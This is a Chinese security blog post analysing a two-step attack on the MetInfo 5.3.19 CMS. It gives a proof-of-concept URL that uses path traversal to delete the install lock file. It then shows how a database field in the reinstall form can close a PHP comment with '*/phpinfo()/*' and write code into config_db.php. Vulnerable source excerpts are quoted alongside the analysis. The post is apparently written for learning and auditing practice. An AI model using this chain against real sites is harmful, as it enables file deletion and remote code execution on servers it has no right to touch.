MetInfo5.3.19安装过程过滤不严导致Getshell(每日一洞)
2018-03-06

前言

前几天在先知看到的漏洞,就很想写个分析过程了的,因为比赛培训和在审计一个CMS拖到了今天。

环境

Web: phpstudy
System: Windows 7 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: PhpStorm 2017.3.3、Seay源代码审计系统

任意文件删除漏洞

复现

POC

前提:需要由对应的删除权限
flienamecsv代表要删除的文件

http://xxx.com/admin/app/batch/csvup.php?fileField=1&flienamecsv=../../../config/install.lock

执行结果

代码位置和漏洞代码

代码位置

\admin\app\batch\csvup.php

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$depth='../';
require_once $depth.'../login/login_check.php';
setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030'));
$codeold='gbk';
$codenew='utf-8';
$classflie=explode('_',$fileField);
$classflie=explode('-',$classflie[count($classflie)-1]);
$class1=$classflie[0];
$class2=$classflie[1];
$class3=$classflie[2];
$class=$class3?$class3:($class2?$class2:$class1);
$classcsv=$db->get_one("select * from $met_column where id=$class");
if(!$classcsv){
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
}
$table=moduledb($classcsv['module']);
$file = fopen($flienamecsv,'r');
$fdata=fgetcsv($file);
foreach($fdata as $key=>$val){
if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;}
}
$numcsv=0;
while ($data = fgetcsv($file)){
$staticone=iconv($codeold,$codenew,$data[$staticnum]);
if($staticone!=NULL){
$static[$numcsv+1]=$staticone;
$static_copy[]=$staticone;
}
$dataqrray[]=$data;
$numcsv++;
}
fclose($file);
@file_unlink($flienamecsv);

分析过程

  • 开始的时候我就在找$fileField$flienamecsv这两个变量是怎么get过来的,分析了包含include/common.inc.php里面的,有点类似前天写的seacms里面的写法,但是又不是从这里get过来的。

    我又继续找,找到了\admin\templates\met\app\batch\contentup.html文件里面的一个js函数

    再继续跟进这个函数,跳到了一个表单文件\admin\templates\met\images\js\iframes.js,在这里找到关于csvup.php文件里面的get那里的两个参数
  • 分析完传参的过程,我们继续分析删除文件的过程。我们直接看$class=$class3?$class3:($class2?$class2:$class1);这一句就行了,我们传一个数字2进去,判断,如果没有$class3就要$class2$class2$class1。这里为什么可以随便填数字,我们再跟进一下下面这个判断,如果SQL执行后$classcsv这个为假的话就不能执行下面的删除文件命令了。我们可以用seay的审计里面的mysql监控工具来观察下:
  • $file = fopen($flienamecsv,'r');读取我们传入的文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $classflie=explode('_',$fileField);
    $classflie=explode('-',$classflie[count($classflie)-1]);
    $class1=$classflie[0];
    $class2=$classflie[1];
    $class3=$classflie[2];
    $class=$class3?$class3:($class2?$class2:$class1);
    $classcsv=$db->get_one("select * from $met_column where id=$class");
    if(!$classcsv){
    metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
    $table=moduledb($classcsv['module']);
    $file = fopen($flienamecsv,'r');
    }
  • 中间的没什么影响,我们就直接跳到文件删除这里,我们跟进一下这个函数。
    1
    @file_unlink($flienamecsv);
  • 传入文件名之后判断是否为windows系统,然后判读是否存在,最后执行删除函数unlink
    \admin\include\global.func.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function file_unlink($file_name) {
    if(stristr(PHP_OS,"WIN")){
    $file_name=@iconv("utf-8","gbk",$file_name);
    }
    if(file_exists($file_name)) {
    //@chmod($file_name,0777);
    $area_lord = @unlink($file_name);
    }
    return $area_lord;
    }

    重装时数据库配置文件过滤不当

    复现

    利用上面的删除漏洞之后再重新安装,然后在填写数据库的步骤的时候写入内容。

shell地址:http://metinfo.test/config/config_db.php

代码位置和漏洞代码

代码位置

install\index.php

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
case 'db_setup':
{
if($setup==1){
$db_prefix = trim($db_prefix);
$db_host = trim($db_host);
$db_username = trim($db_username);
$db_pass = trim($db_pass);
$db_name = trim($db_name);
$config="<?php
/*
con_db_host = \"$db_host\"
con_db_id = \"$db_username\"
con_db_pass = \"$db_pass\"
con_db_name = \"$db_name\"
tablepre = \"$db_prefix\"
db_charset = \"utf8\";
*/
?>";

$fp=fopen("../config/config_db.php",'w+');
fputs($fp,$config);
fclose($fp);
$db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error());
if(!@mysql_select_db($db_name)){

分析过程

  • fopen打开文件,讲$congfig的内容写进配置文件。这个有就点逻辑不对了,应该输入数据库信息判断下对错再进行写文件才安全。
  • 为什么要*/phpinfo()/*这样写?因为用*/是为了闭合上面的注释。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $config="<?php
    /*
    con_db_host = \"$db_host\"
    con_db_id = \"$db_username\"
    con_db_pass = \"$db_pass\"
    con_db_name = \"$db_name\"
    tablepre = \"$db_prefix\"
    db_charset = \"utf8\";
    */
    ?>";

    $fp=fopen("../config/config_db.php",'w+');
    fputs($fp,$config);
    fclose($fp);
    $db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error());
    if(!@mysql_select_db($db_name)){

    结束

    其实说来这个洞有点鸡肋了,因为安装过后程序都会修改程序,没有写的权限。不过学习整个过程还是不错的收获。

参考

http://www.metinfo.cn/upload/file/MetInfo5.3.zip 程序下载

https://xianzhi.aliyun.com/forum/topic/2096